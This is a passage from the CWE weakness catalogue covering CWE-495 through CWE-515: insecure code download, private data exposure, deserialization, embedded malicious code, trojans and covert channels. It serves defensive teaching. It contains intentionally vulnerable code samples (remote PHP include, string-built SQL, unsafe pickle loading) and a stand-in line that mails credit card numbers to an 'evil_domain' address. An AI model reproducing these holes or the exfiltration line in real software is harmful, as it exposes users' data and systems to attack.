Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Availability Confidentiality Other	Execute Unauthorized Code or Commands Alter Execution Logic Other *Executing untrusted code could compromise the control flow of the program. The untrusted code could execute attacker-controlled commands, read or modify sensitive resources, or prevent the software from functioning correctly for legitimate users.*	

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is typically required to find the behavior that triggers the download of code, and to determine whether integrity-checking methods are in use.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and also sniff the network connection. Trigger features related to product updates or plugin installation, which is likely to force a code download. Monitor when files are downloaded and separately executed, or if they are otherwise read back into the process. Look for evidence of cryptographic library calls that use integrity checking.

Potential Mitigations

Phase: Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

Phase: Architecture and Design

Phase: Operation

Encrypt the code with a reliable encryption scheme before transmitting. This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Speficially, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code. When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses. Use code signing technologies such as Authenticode. See references [REF-454] [REF-455] [REF-456].

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples

Example 1:

This example loads an external class from a local subdirectory.

Example Language: Java *(bad)*

```
URL[] classURLs= new URL[]{
    new URL("file:subdir/")
};
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("loadMe", true, loader);
```

This code does not ensure that the class loaded is the intended one, for example by verifying the class's checksum. An attacker may be able to modify the class file to execute malicious code.

Example 2:

This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

Example Language: PHP *(bad)*

```
//assume the password is already encrypted, avoiding CWE-312
function authenticate($username,$password){
    include("http://external.example.com/dbInfo.php");
    //dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
    mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
    mysql_select_db($dbname);
    $query = 'Select * from users where username='.$username.' And password='.$password;
    $result = mysql_query($query);
    if(mysql_numrows($result) == 1){
        mysql_close();
        return true;
    }
    else{
        mysql_close();
        return false;
    }
}
```

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow himself to access the application without a real user account.

This example is also vulnerable to a MITM (CWE-300) attack.

Observed Examples

Notes

Research Gap

This is critical for mobile code, but it is likely to become more and more common as developers continue to adopt automated, network-based product distributions and upgrades. Software-as-a-Service (SaaS) might introduce additional subtleties. Common exploitation scenarios may include ad server compromises and bad upgrades.

CWE-495: Private Data Structure Returned From A Public Method

Weakness ID : 495 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product has a method that is declared public, but returns a reference to a private data structure, which could then be modified in unexpected ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The contents of the data structure can be modified from outside the intended scope.*	

Potential Mitigations

Phase: Implementation

Declare the method private.

Phase: Implementation

Clone the member data and keep an unmodified version of the data private to the object.

Phase: Implementation

Use public setter methods that govern how a private member can be modified.

Demonstrative Examples

Example 1:

Here, a public method in a Java class returns a reference to a private array. Given that arrays in Java are mutable, any modifications made to the returned reference would be reflected in the original private array.

Example Language: Java *(bad)*

```
private String[] colors;
public String[] getColors() {
    return colors;
}
```

Example 2:

In this example, the Color class defines functions that return non-const references to private members (an array type and an integer type), which are then arbitrarily altered from outside the control of the class.

Example Language: C++ *(bad)*

```
class Color
{
    private:
        int[2] colorArray;
        int colorValue;
    public:
        Color () : colorArray { 1, 2 }, colorValue (3) { };
        int[2] & fa () { return colorArray; } // return reference to private array
        int & fv () { return colorValue; } // return reference to private integer
};
int main ()
{
```

```
    Color c;
    c.fa () [1] = 42; // modifies private array element
    c.fv () = 42; // modifies private int
    return 0;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-496: Public Data Assigned to Private Array-Typed Field

Weakness ID : 496 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Assigning public data to a private array is equivalent to giving public access to the array.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The contents of the array can be modified from outside the intended scope.*	

Potential Mitigations

Phase: Implementation

Do not allow objects to modify private members of a class.

Demonstrative Examples

Example 1:

In the example below, the setRoles() method assigns a publically-controllable array to a private field, thus allowing the caller to modify the private array directly by virtue of the fact that arrays in Java are mutable.

Example Language: Java *(bad)*

```
private String[] userRoles;
public void setUserRoles(String[] userRoles) {
    this.userRoles = userRoles;
}
```

MemberOf Relationships

CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere

Weakness ID : 497 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The application does not properly prevent sensitive system-level information from being accessed by unauthorized actors who do not have the same level of access to the underlying system as the application does.

Extended Description

Network-based software, such as web applications, often runs on top of an operating system or similar environment. When the application communicates with outside parties, details about the underlying system are expected to remain hidden, such as path names for data files, other OS users, installed packages, the application environment, etc. This system information may be provided by the application itself, or buried within diagnostic or debugging messages. Debugging information helps an adversary learn about the system and form an attack plan.

An information exposure occurs when system data or debugging information leaves the program through an output stream or logging function that makes it accessible to unauthorized parties. Using other weaknesses, an attacker could cause errors to occur; the response to these errors can reveal detailed system information, along with other impacts. An attacker can use messages that reveal technologies, operating systems, and product versions to tune the attack against known vulnerabilities in these technologies. An application may use diagnostic methods that provide significant implementation details such as stack traces as part of its error handling mechanism.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	466
ParentOf	B	214	Invocation of Process Using Visible Sensitive Information	505
ParentOf	V	526	Exposure of Sensitive Information Through Environmental Variables	1099
ParentOf	V	548	Exposure of Information Through Directory Listing	1121

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Production applications should never use methods that generate internal details such as stack traces and error messages unless that information is directly committed to a log that is not viewable by the end user. All error message text should be HTML entity encoded before being written to the log file to protect against potential cross-site scripting attacks against the viewer of the logs

Demonstrative Examples

Example 1:

The following code prints the path environment variable to the standard error stream:

Example Language: C *(bad)*

```
char* path = getenv("PATH");
...
sprintf(stderr, "cannot find exe on path %s\n", path);
```

Example 2:

The following code prints an exception to the standard error stream:

Example Language: Java *(bad)*

```
try {
    ...
} catch (Exception e) {
    e.printStackTrace();
}
```

Example Language: *(bad)*

```
try {
    ...
} catch (Exception e) {
    Console.Writeline(e);
}
```

Depending upon the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system will be vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

Example 3:

The following code constructs a database connection string, uses it to create a new connection to the database, and prints it to the console.

Example Language: C# *(bad)*

```
string cs="database=northwind; server=mySQLServer...";
SqlConnection conn=new SqlConnection(cs);
...
Console.Writeline(cs);
```

Depending on the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system is vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

CWE-498: Cloneable Class Containing Sensitive Information

Weakness ID : 498 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class.

Extended Description

Cloneable classes are effectively open classes, since data cannot be hidden in them. Classes that do not explicitly deny cloning can be cloned by any other class without running the constructor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
CanPrecede		200	Exposure of Sensitive Information to an Unauthorized Actor	466

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *A class that can be cloned can be produced without executing the constructor. This is dangerous since the constructor may perform security-related checks. By allowing the object to be cloned, those checks may be bypassed.*	

Potential Mitigations

Phase: Implementation

If you do make your classes clonable, ensure that your clone method is final and throw super.clone().

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(bad)*

```
public class CloneClient {
    public CloneClient() //throws
    java.lang.CloneNotSupportedException {
        Teacher t1 = new Teacher("guddu","22,nagar road");
        //...
        // Do some stuff to remove the teacher.
        Teacher t2 = (Teacher)t1.clone();
        System.out.println(t2.name);
    }
    public static void main(String args[]) {
        new CloneClient();
    }
}
class Teacher implements Cloneable {
    public Object clone() {
        try {
            return super.clone();
        }
        catch (java.lang.CloneNotSupportedException e) {
            throw new RuntimeException(e.toString());
        }
    }
    public String name;
    public String clas;
    public Teacher(String name,String clas) {
        this.name = name;
        this.clas = clas;
    }
}
```

Make classes uncloneable by defining a clone function like:

Example Language: Java *(good)*

```
public final void clone() throws java.lang.CloneNotSupportedException {
    throw new java.lang.CloneNotSupportedException();
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-499: Serializable Class Containing Sensitive Data

Weakness ID : 499 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The code contains a class with sensitive data, but the class does not explicitly deny serialization. The data can be accessed by serializing the class through another class.

Extended Description

Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291

Nature	Type	ID	Name	Page
CanPrecede		200	Exposure of Sensitive Information to an Unauthorized Actor	466

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *an attacker can write out the class to a byte stream, then extract the important data from it.*	

Potential Mitigations

Phase: Implementation

In Java, explicitly define final writeObject() to prevent serialization. This is the recommended solution. Define the writeObject() function to throw an exception explicitly denying serialization.

Phase: Implementation

Make sure to prevent serialization of your objects.

Demonstrative Examples

Example 1:

This code creates a new record for a medical patient:

Example Language: Java *(bad)*

```
class PatientRecord {
    private String name;
    private String socialSecurityNum;
    public Patient(String name,String ssn) {
        this.SetName(name);
        this.SetSocialSecurityNumber(ssn);
    }
}
```

This object does not explicitly deny serialization, allowing an attacker to serialize an instance of this object and gain a patient's name and Social Security number even though those fields are private.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-500: Public Static Field Not Marked Final

Weakness ID : 500 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways.

Extended Description

Public static variables can be read without an accessor and changed without a mutator by any classes in the application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	493	Critical Public Variable Without Final Modifier	1053

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Background Details

When a field is declared public but not final, the field can be read and written to by arbitrary Java code.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The object could potentially be tampered with.*	
Confidentiality	Read Application Data *The object could potentially allow the object to be read.*	

Potential Mitigations

Phase: Architecture and Design

Clearly identify the scope for all critical data elements, including whether they should be regarded as static.

Phase: Implementation

Make any static fields private and constant. A constant field is denoted by the keyword 'const' in C/C++ and ' final' in Java

Demonstrative Examples

Example 1:

The following examples use of a public static String variable to contain the name of a property/ configuration file for the application.

Example Language: C++ *(bad)*

```
class SomeAppClass {
    public:
        static string appPropertiesConfigFile = "app/properties.config";
    ...
}
```

Example Language: Java *(bad)*

```
public class SomeAppClass {
    public static String appPropertiesFile = "app/Application.properties";
    ...
}
```

Having a public static variable that is not marked final (constant) may allow the variable to the altered in a way not intended by the application. In this example the String variable can be modified to indicate a different on nonexistent properties file which could cause the application to crash or caused unexpected behavior.

Example Language: C++ *(good)*

```
class SomeAppClass {
    public:
        static const string appPropertiesConfigFile = "app/properties.config";
    ...
}
```

Example Language: Java *(good)*

```
public class SomeAppClass {
    public static final String appPropertiesFile = "app/Application.properties";
    ...
}
```

CWE-501: Trust Boundary Violation

Weakness ID : 501 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product mixes trusted and untrusted data in the same data structure or structured message.

Extended Description

A trust boundary can be thought of as line drawn through a program. On one side of the line, data is untrusted. On the other side of the line, data is assumed to be trustworthy. The purpose of validation logic is to allow data to safely cross the trust boundary - to move from untrusted to trusted. A trust boundary violation occurs when a program blurs the line between what is trusted and what is untrusted. By combining trusted and untrusted data in the same data structure, it becomes easier for programmers to mistakenly trust unvalidated data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	1856

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Demonstrative Examples

Example 1:

The following code accepts an HTTP request and stores the username parameter in the HTTP session object before checking to ensure that the user has been authenticated.

Example Language: Java *(bad)*

```
usrname = request.getParameter("usrname");
if (session.getAttribute(ATTR_USR) == null) {
    session.setAttribute(ATTR_USR, usrname);
}
```

Example Language: C# *(bad)*

```
usrname = request.Item("usrname");
if (session.Item(ATTR_USR) == null) {
    session.Add(ATTR_USR, usrname);
}
```

Without well-established and maintained trust boundaries, programmers will inevitably lose track of which pieces of data have been validated and which have not. This confusion will eventually allow some data to be used without first being validated.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-502: Deserialization of Untrusted Data

Weakness ID : 502 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

Extended Description

It is often convenient to serialize objects for communication or to save them for later use. However, deserialized data or code can often be modified without using the provided accessor functions if it

does not use cryptography to protect itself. Furthermore, any cryptography would still be client-side security -- which is a dangerous security assumption.

Data that is untrusted can not be trusted to be well-formed.

When developers place no restrictions on "gadget chains," or series of instances and method invocations that can self-execute during the deserialization process (i.e., before the object is returned to the caller), it is sometimes possible for attackers to leverage them to perform unauthorized actions, like generating a shell.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : Ruby *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Python *(Prevalence = Undetermined)*

Language : JavaScript *(Prevalence = Undetermined)*

Background Details

Serialization and deserialization refer to the process of taking program-internal object-related data, packaging it in a way that allows the data to be externally stored or transferred ("serialization"), then extracting the serialized data to reconstruct the original object ("deserialization").

Alternate Terms

Marshaling, Unmarshaling : Marshaling and unmarshaling are effectively synonyms for serialization and deserialization, respectively.

Pickling, Unpickling : In Python, the "pickle" functionality is used to perform serialization and deserialization.

PHP Object Injection : Some PHP application researchers use this term when attacking unsafe use of the unserialize() function; but it is also used for CWE-915.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data Unexpected State *Attackers can modify unexpected objects or data that was assumed to be safe from modification.*	
Availability	DoS: Resource Consumption (CPU) *If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate.*	
Other	Varies by Context *The consequences can vary widely, because it depends on which objects or methods are being deserialized, and how they are used. Making an assumption that the code in the deserialized object is valid is dangerous and can enable exploitation.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Phase: Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Phase: Implementation

Explicitly define a final object() to prevent deserialization.

Phase: Architecture and Design

Phase: Implementation

Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.

Phase: Implementation

Avoid having unnecessary types or gadgets available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Demonstrative Examples

Example 1:

This code snippet deserializes an object from a file and uses it as a UI button:

Example Language: Java *(bad)*

```
try {
    File file = new File("object.obj");
    ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
    javax.swing.JButton button = (javax.swing.JButton) in.readObject();
    in.close();
}
```

This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed.

To mitigate this, explicitly define final readObject() to prevent deserialization. An example of this is:

Example Language: Java *(good)*

```
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); }
```

Example 2:

In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [R.502.7], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token.

Example Language: Python *(bad)*

```
try {
    class ExampleProtocol(protocol.Protocol):
    def dataReceived(self, data):
    # Code that would be here would parse the incoming data
    # After receiving headers, call confirmAuth() to authenticate
    def confirmAuth(self, headers):
    try:
    token = cPickle.loads(base64.b64decode(headers['AuthToken']))
    if not check_hmac(token['signature'], token['data'], getSecretKey()):
    raise AuthFail
    self.secure_data = token['data']
    except:
    raise AuthFail
}
```

Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct a illegitimate, serialized object "AuthToken" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance,the attacker could construct a pickle that leverages Python's subprocess module, which spawns new processes and includes a number of arguments for various uses. Since Pickle allows objects to define the process for how they should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess module and execute /bin/sh.

CWE-506: Embedded Malicious Code

Weakness ID : 506 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The application contains code that appears to be malicious in nature.

Extended Description

Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that

performs a useful service but exploits rights of the program's user in a way the user does not intend.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Detection Methods

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies Generated Code Inspection

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Automated Monitored Execution

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Origin Analysis

Effectiveness = SOAR Partial

Potential Mitigations

Phase: Testing

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

Demonstrative Examples

Example 1:

In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.

Example Language: Java *(bad)*

```
boolean authorizeCard(String ccn) {
    // Authorize credit card.
    ...
    mailCardNumber(ccn, "evil_developer@evil_domain.com");
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	1927

Notes

Terminology

The term "Trojan horse" was introduced by Dan Edwards and recorded by James Anderson [18] to characterize a particular computer security threat; it has been redefined many times [4,18-20].

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Malicious

CWE-507: Trojan Horse

Weakness ID : 507 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

ChildOf	C	506	Embedded Malicious Code	1077
ParentOf	B	508	Non-Replicating Malicious Code	1080
ParentOf	B	509	Replicating Malicious Code (Virus or Worm)	1081

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	

Scope	Impact	Likelihood
Integrity Availability		

Potential Mitigations

Phase: Operation

Most antivirus software scans for Trojan Horses.

Phase: Installation

Verify the integrity of the software that is being installed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	1927

Notes

Other

Potentially malicious dynamic code compiled at runtime can conceal any number of attacks that will not appear in the baseline. The use of dynamically compiled code could also allow the injection of attacks on post-deployed applications.

Terminology

Definitions of "Trojan horse" and related terms have varied widely over the years, but common usage in 2008 generally refers to software that performs a legitimate function, but also contains malicious code. Almost any malicious code can be called a Trojan horse, since the author of malicious code needs to disguise it somehow so that it will be invoked by a nonmalicious user (unless the author means also to invoke the code, in which case they presumably already possess the authorization to perform the intended sabotage). A Trojan horse that replicates itself by copying its code into other program files (see case MA1) is commonly referred to as a virus. One that replicates itself by creating new processes or files to contain its code, instead of modifying existing storage entities, is often called a worm. Denning provides a general discussion of these terms; differences of opinion about the term applicable to a particular flaw or its exploitations sometimes occur.

CWE-511: Logic/Time Bomb

Weakness ID : 511 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains code that is designed to disrupt the legitimate operation of the software (or its environment) when a certain time passes, or when a certain logical condition is met.

Extended Description

When the time bomb or logic bomb is detonated, it may perform a denial of service such as crashing the system, deleting critical data, or degrading system response time. This bomb might be placed within either a replicating or non-replicating Trojan horse.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

CWE-512: Spyware

Weakness ID : 512 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software collects personally identifiable information about a human user or the user's activities, but the software accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the software.

Extended Description

"Spyware" is a commonly used term with many definitions and interpretations. In general, it is meant to software that collects information or installs functionality that human users might not allow if they were fully aware of the actions being taken by the software. For example, a user might expect that tax software would collect a social security number and include it when filing a tax return, but that same user would not expect gaming software to obtain the social security number from that tax software's data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
463	Padding Oracle Crypto Attack

CWE-515: Covert Storage Channel

Weakness ID : 515 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information.

Extended Description

Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.

Relationships

